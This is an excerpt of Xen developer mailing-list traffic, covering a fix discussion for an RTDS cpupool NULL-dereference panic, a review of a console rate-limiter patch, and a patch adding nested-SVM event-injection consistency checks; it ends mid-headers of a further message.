X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: iexsclOnFjohFE4HPEBmPrnEdY9nsZuYNP9IgQwl4YfE8hvYaEoMsUJJ7gwHVl3iBuD6EIeQEiWIQr6ciylKHl0GsoMgSsN//6eXm1+VHtI=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: VI2PR03MB10955
X-purgate-ID: tlsNG-720697/1784215342-303C42AC-4A1824B8/0/0
X-purgate-type: clean
X-purgate-size: 2206

Hi Juergen,

Thanks for quick response.

On 16/07/2026 17:44, Juergen Gross wrote:
> On 16.07.26 16:20, Oleksii Moisieiev wrote:
>> schedule_cpu_rm() clears the cpupool pointer of the scheduling
>> resource before calling sched_deinit_pdata():
>>
>> Â Â Â Â  sr->cpupool = NULL;
>> Â Â Â Â  ...
>> Â Â Â Â  sched_deinit_pdata(data->old_ops, data->ppriv_old, cpu);
>>
>> For RTDS, rt_deinit_pdata() calls move_repl_timer() when the
>> replenishment timer lives on the cpu being removed, and
>> move_repl_timer() dereferences get_sched_res(old_cpu)->cpupool
>> without checking it for NULL. Removing the last pCPU from an RTDS
>> cpupool therefore dereferences NULL + 0x10 (the res_valid member)
>> and panics:
>>
>> Â Â Â Â  (XEN) Data Abort Trap. Syndrome=0x1c28005
>> Â Â Â Â  (XEN) Walking Hypervisor VA 0x10 on CPU0 via TTBR ...
>> Â Â Â Â  (XEN) Xen call trace:
>> Â Â Â Â  (XEN)Â Â Â  [<...>] find_next_bit+0x74/0xa8 (PC)
>> Â Â Â Â  (XEN)Â Â Â  [<...>] rt.c#move_repl_timer+0xb8/0xec (LR)
>> Â Â Â Â  (XEN)
>> Â Â Â Â  (XEN) Panic on CPU 0:
>> Â Â Â Â  (XEN) CPU0: Unexpected Trap: Data Abort
>>
>> Reproducer, on any host with at least 2 pCPUs and RTDS compiled in
>> (observed on arm64, but the path is common code):
>>
>> Â Â Â Â  xl cpupool-create name="test" sched="rtds"
>> Â Â Â Â  xl cpupool-cpu-remove Pool-0 1
>> Â Â Â Â  xl cpupool-cpu-add test 1
>> Â Â Â Â  xl cpupool-cpu-remove test 1
>>
>> The last command moves the RTDS replenishment timer to cpu1 (first
>> and only cpu of the pool) and then removes cpu1, hitting the NULL
>> dereference in the sched_deinit_pdata() callback.
>>
>> Treat a NULL cpupool like a cpupool with no remaining scheduling
>> resources and kill the timer, which is the intent of the existing
>> comment in move_repl_timer().
>
> Hmm, is this correct?
>
> What if there are 2 cpus in the cpupool and you are just removing the
> one owning the timer? This would kill the timer instead of moving it
> to the other cpu of the cpupool.
>
> I guess the correct fix would be to add a cpupool pointer to struct
> rt_private and use that in move_repl_timer().
>
Makes sense... I'll rethink. Thanks
>
> Juergen


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 15:38:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 15:38:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364265.1615567 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkOAf-00048Z-4t; Thu, 16 Jul 2026 15:38:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364265.1615567; Thu, 16 Jul 2026 15:38:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkOAf-00048R-1O; Thu, 16 Jul 2026 15:38:45 +0000
Received: by outflank-mailman (input) for mailman id 1364265;
 Thu, 16 Jul 2026 15:38:44 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkOAe-00048L-DH
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 15:38:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkOAd-00HG3l-Hq
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 17:38:43 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58faf7-bab6-0a2a0a5309dd-0a2a4505ad36-30
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:38:43 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58fb03-4cb1-0a2a45050019-d155dd2ce980-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:38:43 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-47defd0c1c5so2711363f8f.3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 08:38:43 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f464a96fdsm25562102f8f.24.2026.07.16.08.38.35
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 08:38:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784216323; x=1784821123; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=w8ogeAOc+1uekaYIAprkGc/PzobS26Q+wBAIPILYa+M=;
        b=Myj8Q0WCk7EbNp+StGY1Y0k7PnZkoosIKK81AIZbtXy5QJEs7XeJJID5m/5mlZlvXT
         YozyTGE93VBUeLfhFfg6tSVDyziF5cQqCAhMOpK4nZZrAe85N/J2z+M2qbSKLPtpOXUm
         dI3W0JWv6LtN9qDRRdclRV542Z8CsaWQfGsaqqyzsZdhHrCdqajiob2/h2LIvSNBvkO+
         JGtfz56gO6gxZveS+fLh8MW4BBq0K/K2gQH+ipfTtyEDNYKM8xr38yPG6HBZDRqgwg+Z
         oKIqtqX6x9ig9qjHNFllyJz73t7VljtklKfvSE0XrEohGNnLO+cl/g4LAE9vV0kLNjG1
         C23Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784216323; x=1784821123;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=w8ogeAOc+1uekaYIAprkGc/PzobS26Q+wBAIPILYa+M=;
        b=sVwtWLLiLra/F/7sB3E/pojlCNdtJg0kFapKTGactU3xGhnxIkzXkdDSvyQEuKv5Zs
         ocNVVCf+egszBCfOtpL0L1MG8pnE8wRGVcEaFVSf+yketXrS0IRvW66V7ksG2TXI+cf2
         qm9fWUdQM6fPo/ECmxJMkqvhlsz4EUJClhfzF/sZxjF7DTf7phcTXYU8KheUUpN4iD9q
         ERizNpslQyAFLA1OX01dNUDynqbtE5JU34BFweYPvyzSrSgkiXVWjohXLSxqxm6hwWks
         WFeg2c0VhEuIGtaDilkrocMmIWakiaxaRZBh0MUsVcGRnEeEMHzaYGZ6FIWOWU1r88nR
         COGA==
X-Forwarded-Encrypted: i=1; AHgh+Rqr13yZ8jYWYvBJxgkaDNPWYSt9NjmjOYE7JkhUhCbpFxVtMbbRAOxA0LWdetfZlS1AH7PSChT4soo=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzbGJtmF9E8kdfpWrr2Brxci686K0SBfpDGHzS1M+9imwSmHUXx
	nde2LMjAkHpJ/91Hg3VfWectlg4uv2cXzeJt996uD1Yb29tHMy4gWuM/qKUChaROlycTTgKT8Py
	AFMXlCg==
X-Gm-Gg: AfdE7clJjPin+ZhwIIGOFWBKt9+IWp+RwQT9R0A7P27+BRD6hwfdIs1coimv/OTRWYj
	qYj+M+MOPdIwh5hpapz3OtvehkwG+8tNvoZ2WWN0HxiDH95gQ6iYFuVN4JWBWwoCbaeWKVO0T6Z
	M/03W3rikmljsftLKSteJoL/S5IZU83P6c75M/N/QneVHmarBqx+6QUplb7SNggVGlAh8x+i4ed
	ByDlgRPIPYW0WdQlBvzOp+P/UaWX4vuNpLL4FxPR+uI8BwXbojlnn5b+klD7Nqbjtzupg68N6DU
	Nu8QTX3cOaMMQFO151y6kQnTm6pQI2Fp/RoZ8h5J9dSKjQo74lP/bXglW0Roxfq79wH4GzxKdG9
	RNUWq3b55xvrDSbP5RcTGt30WKm4otu3wIpzAvKDYF1r7V/tgT0MuAfeWOTZxi/sLpU9y7cSiAk
	BMjHV1wwaunB480EuT6PVW/7gKcfkq83BAuyrhRV3uL/fBySpdJaMedX/3Nu55J3/8Cg==
X-Received: by 2002:adf:e19a:0:b0:475:f0f0:9ed1 with SMTP id ffacd0b85a97d-47f2dcf9fccmr27240172f8f.60.1784216322840;
        Thu, 16 Jul 2026 08:38:42 -0700 (PDT)
Message-ID: <749d531a-e6a9-4f6c-971d-4971dc6e738d@suse.com>
Date: Thu, 16 Jul 2026 17:38:33 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 2/4] xen/console: correct leaky-bucket rate limiter
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-3-dmukhin@ford.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260715201902.2984407-3-dmukhin@ford.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784216323-714AC2A1-769C7769/0/0
X-purgate-type: clean
X-purgate-size: 1197

On 15.07.2026 22:19, dmukhin@ford.com wrote:
> --- a/xen/drivers/char/console.c
> +++ b/xen/drivers/char/console.c
> @@ -1274,21 +1274,26 @@ bool __printk_ratelimit(unsigned int ratelimit_ms,
>                          unsigned int ratelimit_burst)
>  {
>      static DEFINE_SPINLOCK(ratelimit_lock);
> -    static unsigned long toks = 10 * 5 * 1000;
> -    static unsigned long last_msg;
> +    static unsigned long long toks, last_msg;

Along the lines of what Teddy said, I question the need to widen the variables.

>      static unsigned int missed;
> +    unsigned long long now, limit;
>      unsigned long flags;
> -    unsigned long long now = NOW(); /* ns */
> -    unsigned long ms;
> +    s_time_t ms;

This is the type to use for e.g. NOW() return values; it isn't ...

> -    do_div(now, 1000000);
> -    ms = (unsigned long)now;
> +    if ( !ratelimit_burst || !ratelimit_burst )
> +        return true;
> +
> +    limit = min(ratelimit_burst * ratelimit_ms, UINT_MAX);
> +    if ( !toks )
> +        toks = limit;
> +
> +    now = NOW(); /* ns */
> +    ms = do_div(now, MILLISECS(1));

... a type to hold a millisecond granularity value.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 15:40:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 15:40:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364273.1615577 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkOBw-00058o-Fz; Thu, 16 Jul 2026 15:40:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364273.1615577; Thu, 16 Jul 2026 15:40:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkOBw-00058J-AI; Thu, 16 Jul 2026 15:40:04 +0000
Received: by outflank-mailman (input) for mailman id 1364273;
 Thu, 16 Jul 2026 15:40:03 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 1wkOBv-0004tD-8v
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 15:40:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkOBu-00HGFE-M4
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 17:40:02 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a58fb4c-bab6-0a2a0a5309dd-0a2a450ca33e-14
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:40:02 +0200
Received: from [160.101.131.8] (helo=na1pdmzitismtp01.tibco.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a58fb51-f479-0a2a450c0019-a0658308d896-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:40:02 +0200
Received: from fedora.eng.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp01.tibco.com (Postfix) with ESMTP id 50F164416332;
 Thu, 16 Jul 2026 11:38:33 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	jason.andryuk@amd.com,
	teddy.astie@vates.tech,
	Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
Subject: [PATCH v2] nSVM: Check injected event consistency
Date: Thu, 16 Jul 2026 16:37:42 +0100
Message-ID: <d7f21b51072743e5fb8743db53148231fef6fbb7.1784190077.git.abdelkareem.abdelsaamad@citrix.com>
X-Mailer: git-send-email 2.53.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1784216402-5073FA5B-53E9A89A/0/0
X-purgate-type: clean
X-purgate-size: 5031

On the AMD platforms, allowing a VMRUN instruction with a malformed VMCB has
debugging complications, security and performance implications. The APM volume
2 15.20 [1] states two possibilities that result in a VMRUN exit with
VMEXIT_INVALID due to injected events. These are either
â€¢ Reserved values of TYPE have been specified.
â€¢ TYPE = 3 (exception) has been specified with a vector that does not
  correspond to an exception (this includes vector 2, which is an NMI, not
  an exception).
Extend the VMCB checks to check for such inconsistency.

The collection of the invalid exception vectors are picked from the upstream KVM
commit ("7e79f71bca5c" KVM: nSVM: Add missing consistency check for EVENTINJ).

[1] https://docs.amd.com/v/u/en-US/24593_3.44_APM_Vol2

Signed-off-by: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
---
Changes in v2:
- Remove the redundant SVM_EVENT_INJ_TYPE_MASK and SVM_EVENT_INJ_VEC_MASK
  constants.
- Correct the Injected Event Type consistency check to disallow the injection
  of reserved type 1 events.
---
Testing:
 - Using a locally developed XTF nested virt setup, I manually tested VMRUN
   instruction handling with a malformed VMCB:
   1) Inject event with the type (7).
      The hypervisor logs show the message
      (XEN) [  645.155609] d2v0[nsvm_vmcb_prepare4vmrun]: eventinj: Invalid Injected
            Event Type: (0x7)
   2) Inject event with the exception value (3) and the vector value (2) for NMI.
      The hypervisor logs show the message
      (XEN) [  645.157277] d2v0[nsvm_vmcb_prepare4vmrun]: eventinj: Invalid Injected Event.
             Exception type: (0x3), with a vector: (0x2) does not belong to an exception

 - CI tests:
https://gitlab.com/xen-project/people/aabdelsa/xen/-/pipelines/2682300446
---
 xen/arch/x86/hvm/svm/vmcb.c | 40 +++++++++++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)

diff --git a/xen/arch/x86/hvm/svm/vmcb.c b/xen/arch/x86/hvm/svm/vmcb.c
index 975a1eaef8..c31d2a6f58 100644
--- a/xen/arch/x86/hvm/svm/vmcb.c
+++ b/xen/arch/x86/hvm/svm/vmcb.c
@@ -320,6 +320,31 @@ void svm_vmcb_dump(const char *from, const struct vmcb_struct *vmcb)
     svm_dump_sel("  TR", &vmcb->tr);
 }
 
+static bool is_valid_svm_vmcb_injected_exception_vector(
+    const struct vmcb_struct *vmcb, uint8_t vmcb_injected_vector)
+{
+    return ( (vmcb_injected_vector == X86_EXC_DE) ||
+             (vmcb_injected_vector == X86_EXC_DB) ||
+             (vmcb_injected_vector == X86_EXC_BP) ||
+             (vmcb_injected_vector == X86_EXC_OF) ||
+             (vmcb_injected_vector == X86_EXC_BR) ||
+             (vmcb_injected_vector == X86_EXC_UD) ||
+             (vmcb_injected_vector == X86_EXC_NM) ||
+             (vmcb_injected_vector == X86_EXC_DF) ||
+             (vmcb_injected_vector == X86_EXC_TS) ||
+             (vmcb_injected_vector == X86_EXC_NP) ||
+             (vmcb_injected_vector == X86_EXC_SS) ||
+             (vmcb_injected_vector == X86_EXC_GP) ||
+             (vmcb_injected_vector == X86_EXC_PF) ||
+             (vmcb_injected_vector == X86_EXC_MF) ||
+             (vmcb_injected_vector == X86_EXC_AC) ||
+             (vmcb_injected_vector == X86_EXC_MC) ||
+             (vmcb_injected_vector == X86_EXC_XM) ||
+             (vmcb_injected_vector == X86_EXC_HV) ||
+             (vmcb_injected_vector == X86_EXC_SX) ||
+             (vmcb_get_sev_es(vmcb) && vmcb_injected_vector == X86_EXC_VC) );
+}
+
 bool svm_vmcb_isvalid(
     const char *from, const struct vmcb_struct *vmcb, const struct vcpu *v,
     bool verbose)
@@ -330,6 +355,12 @@ bool svm_vmcb_isvalid(
     unsigned long cr4 = vmcb_get_cr4(vmcb);
     unsigned long valid;
     uint64_t efer = vmcb_get_efer(vmcb);
+    uint8_t vmcb_injected_type = vmcb->event_inj.type;
+    uint8_t vmcb_injected_vector = vmcb->event_inj.vector;
+    uint8_t vmcb_valid_event_inj_types_mask = (1 << X86_ET_EXT_INTR) |
+                                              (1 << X86_ET_NMI) |
+                                              (1 << X86_ET_HW_EXC) |
+                                              (1 << X86_ET_SW_INT);
 
 #define PRINTF(fmt, args...) do { \
     if ( !verbose ) return true; \
@@ -392,6 +423,15 @@ bool svm_vmcb_isvalid(
         PRINTF("eventinj: MBZ bits are set (%#"PRIx64")\n",
                vmcb->event_inj.raw);
 
+    if ( !((1 << vmcb_injected_type) & vmcb_valid_event_inj_types_mask) )
+        PRINTF("eventinj: Invalid Injected Event Type: (%#"PRIx8")\n",
+               vmcb_injected_type);
+
+    if ( (vmcb_injected_type == X86_ET_HW_EXC) &&
+         !is_valid_svm_vmcb_injected_exception_vector(vmcb, vmcb_injected_vector) )
+        PRINTF("eventinj: Invalid Injected Event. Exception type: (%#"PRIx8"),"
+               " with a vector: (%#"PRIx8") does not belong to an exception\n",
+               vmcb_injected_type, vmcb_injected_vector);
 #undef PRINTF
     return ret;
 }
-- 
2.53.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 15:44:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 15:44:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364306.1615584 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkOGb-0006AZ-UH; Thu, 16 Jul 2026 15:44:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364306.1615584; Thu, 16 Jul 2026 15:44:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkOGb-0006AS-RI; Thu, 16 Jul 2026 15:44:53 +0000
Received: by outflank-mailman (input) for mailman id 1364306;
 Thu, 16 Jul 2026 15:44:52 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkOGa-0006AM-Ei
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 15:44:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkOGZ-001D5P-Rs
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 17:44:51 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58fc68-bab6-0a2a0a5309dd-0a2a4506e9e2-12
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:44:51 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58fc73-195a-0a2a45060019-d155dd33b833-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:44:51 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-47362928f65so6140926f8f.2
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 08:44:51 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49547988756sm3155405e9.6.2026.07.16.08.44.42
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 08:44:46 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784216691; x=1784821491; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=i9dbz4JNFR4UV32l1Nw0r+zranNunCCnRzqZ7+4x30c=;
        b=SSCmYi+Eps6Upyw5fl7jH3vYfsmgDn5p5X9xHxc4WoCSTuYBWlWRTM91tLTX2cJrnq
         DW2rZnKKg7smU4JeWKyhRH8dvbpfQWlpQtTntQ1tLDQasJm8F9GaKvw6WRbH5xE/eXtL
         rpAXg1Bp7gRng4Ill1yg6OQ5NhOFnpLd3UoNsPPpBGqJ1BgdO9scVn+Ne+F8O+KtHuNA
         bhowlRcsKGCn3pHsab15PTcgaVbLx5NaN8cDP7OgH/ZjUBDWndJyzlCcKQRdWXuQye8C
         h5ujGwsUKV9BMgOJJtt9XjZgO1QMDTPk6jGJavGCbMUTpO0na05A3PfwQ6Ln+YKEuPrs
         8GEA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784216691; x=1784821491;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=i9dbz4JNFR4UV32l1Nw0r+zranNunCCnRzqZ7+4x30c=;
        b=Y1slZM7REtbao71UD8fv5rq1fxq7UBT3Blj3jEDA34RGATpbzqsqsJIYMeGUss2y+u
         wrhn3isrcDao8pTAi8RMf4otte4WZ386Uxayjejk1lc3VWKHrpeVpoUb7oMp8Pta5jxW
         N5wzkL6cw4LZr68N8FxEJXi161uNhPE14JPkX+bo0KSFNFF3bsYKpvxeRtl+uAqNb5Ja
         NOAQ2QSQql8VxMqLADLYc6qP9V9HhdlJtdn9Jed5tALHyhc681EYj5S2OThL8y9C5wYz
         n0Da0TQ5Hs1BOOGXSUQUCkHKZ1tZ03tSPy09II+MrpWQgzhf6ClxwdYAo+Tud1hFzIpi
